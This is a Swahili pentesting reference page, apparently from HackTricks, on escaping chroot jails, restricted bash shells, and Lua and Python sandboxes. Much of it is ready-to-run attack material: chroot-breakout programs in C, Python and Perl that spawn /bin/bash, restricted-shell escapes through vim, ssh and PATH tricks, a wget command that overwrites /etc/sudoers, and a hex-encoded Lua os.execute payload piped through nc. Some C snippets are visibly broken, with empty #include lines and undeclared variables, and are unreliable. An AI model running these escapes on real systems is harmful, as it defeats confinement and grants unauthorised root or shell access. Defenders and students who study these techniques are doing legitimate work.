11 KiB
Kutoroka Kutoka Jela
{% hint style="success" %}
Jifunze na zoezi la AWS Hacking:Mafunzo ya HackTricks AWS Red Team Expert (ARTE)
Jifunze na zoezi la GCP Hacking: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.
GTFOBins
Tafuta kwenye https://gtfobins.github.io/ ikiwa unaweza kutekeleza binary yoyote na mali ya "Shell"
Kutoroka kwa Chroot
Kutoka wikipedia: Mfumo wa chroot haukusudiwi kumlinda dhidi ya kuharibiwa kwa makusudi na watumiaji wenye mamlaka (root). Kwenye mifumo mingi, muktadha wa chroot hauwezi kustack vizuri na programu zilizochrooted zenye mamlaka ya kutosha zinaweza kufanya chroot ya pili kuvunja.
Kawaida hii inamaanisha kwamba ili kutoroka unahitaji kuwa root ndani ya chroot.
{% hint style="success" %}
Zana chw00t ilitengenezwa kwa kudhuru mazingira yafuatayo na kutoroka kutoka chroot
.
{% endhint %}
Root + CWD
{% hint style="warning" %} Ikiwa wewe ni root ndani ya chroot unaweza kutoroka kwa kuunda chroot nyingine. Hii ni kwa sababu chroot 2 haziwezi kuwepo pamoja (kwenye Linux), hivyo ikiwa unajenga folda na kisha kuunda chroot mpya kwenye folda hiyo mpya ukiwa nje yake, sasa utakuwa nje ya chroot mpya na hivyo utakuwa kwenye FS.
Hii hutokea kwa sababu kawaida chroot HAIHAMISHI saraka yako ya kufanyia kazi kwenye ile iliyoelekezwa, hivyo unaweza kuunda chroot lakini uwe nje yake. {% endhint %}
Kawaida hutapata binary ya chroot
ndani ya gereza la chroot, lakini unaweza kuiandika, kuipakia na kuitekeleza:
C: break_chroot.c
```c #include <sys/stat.h> #include #include//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Kipanya</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl
```perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); ```Root + Saved fd
{% hint style="warning" %} Hii ni sawa na kesi iliyopita, lakini katika kesi hii mshambuliaji hifadhi file descriptor kwa saraka ya sasa na kisha anajenga chroot katika saraka mpya. Hatimaye, akiwa na upatikanaji wa FD hiyo nje ya chroot, anapata na kutoroka. {% endhint %}
C: break_chroot.c
```c #include <sys/stat.h> #include #include//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("tmpdir", 0755); dir_fd = open(".", O_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir_fd); close(dir_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
</details>
### Root + Fork + UDS (Unix Domain Sockets)
{% hint style="warning" %}
FD inaweza kupitishwa juu ya Unix Domain Sockets, hivyo:
* Unda mchakato wa mtoto (fork)
* Unda UDS ili mzazi na mtoto waweze kuongea
* Tekeleza chroot katika mchakato wa mtoto katika saraka tofauti
* Katika mchakato wa mzazi, unda FD ya saraka ambayo iko nje ya chroot mpya ya mchakato wa mtoto
* Pita kwa mtoto FD hiyo kutumia UDS
* Mchakato wa mtoto chdir kwa FD hiyo, na kwa sababu iko nje ya chroot yake, atatoka gerezani
{% endhint %}
### Root + Mount
{% hint style="warning" %}
* Kufunga kifaa cha mzizi (/) ndani ya saraka ndani ya chroot
* Kuingia chroot katika saraka hiyo
Hii inawezekana katika Linux
{% endhint %}
### Root + /proc
{% hint style="warning" %}
* Funga procfs ndani ya saraka ndani ya chroot (ikiwa bado haijafanyika)
* Tafuta pid ambayo inaingia tofauti ya mzizi/cwd, kama: /proc/1/root
* Chroot katika kuingia hiyo
{% endhint %}
### Root(?) + Fork
{% hint style="warning" %}
* Unda Fork (mchakato wa mtoto) na chroot katika saraka tofauti zaidi katika FS na CD juu yake
* Kutoka kwa mchakato wa mzazi, hamisha saraka ambapo mchakato wa mtoto yuko katika saraka kabla ya chroot ya watoto
* Mchakato hawa watoto watapata wenyewe nje ya chroot
{% endhint %}
### ptrace
{% hint style="warning" %}
* Zamani watumiaji wangeweza kudebugi mchakato wao wenyewe kutoka kwa mchakato wa wenyewe... lakini hii sio inawezekana kwa chaguo-msingi tena
* Hata hivyo, ikiwa inawezekana, unaweza ptrace katika mchakato na kutekeleza shellcode ndani yake ([angalia mfano huu](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}
## Jela za Bash
### Uchambuzi
Pata habari kuhusu gereza:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Badilisha PATH
Angalia kama unaweza kubadilisha mazingira ya PATH
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
Kutumia vim
:set shell=/bin/sh
:shell
Unda skripti
Angalia kama unaweza kuunda faili inayoweza kutekelezwa na /bin/bash kama yaliyomo
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
Pata bash kutoka SSH
Ikiwa unatumia ssh unaweza kutumia hila hii kutekeleza bash shell:
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
Tangaza
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
Wget
Unaweza kubadilisha mfano wa faili ya sudoers
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
Mbinu Nyingine
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells
https://gtfobins.github.io
Pia inaweza kuwa ya kuvutia ukurasa:
{% content-ref url="../bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}
Python Jails
Mbinu za kutoroka kutoka kwa jela za python zinapatikana kwenye ukurasa ufuatao:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Lua Jails
Kwenye ukurasa huu unaweza kupata kazi za jumla unazoziweza ndani ya lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base
Eval na utekelezaji wa amri:
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
Baadhi ya mbinu za kuita kazi za maktaba bila kutumia alama za mshono:
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
Panga kazi za maktaba:
for k,v in pairs(string) do print(k,v) end
Tafadhali kumbuka kuwa kila unapotekeleza amri ya mstari mmoja iliyotangulia katika mazingira tofauti ya lua, mpangilio wa kazi hubadilika. Kwa hivyo, ikiwa unahitaji kutekeleza kazi moja maalum unaweza kufanya shambulio la nguvu likisoma mazingira tofauti ya lua na kuita kazi ya kwanza ya maktaba:
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Pata ganda la lua la kuingiliana: Ikiwa uko ndani ya ganda la lua lililopunguzwa unaweza kupata ganda jipya la lua (na kwa matumaini lisililopunguzwa) kwa kuita:
debug.debug()
Marejeo
- https://www.youtube.com/watch?v=UO618TeyCWo (Vijisehemu: https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
{% hint style="success" %}
Jifunze & zoezi AWS Hacking:Mafunzo ya HackTricks AWS Red Team Expert (ARTE)
Jifunze & zoezi GCP Hacking: Mafunzo ya HackTricks GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa michango!
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.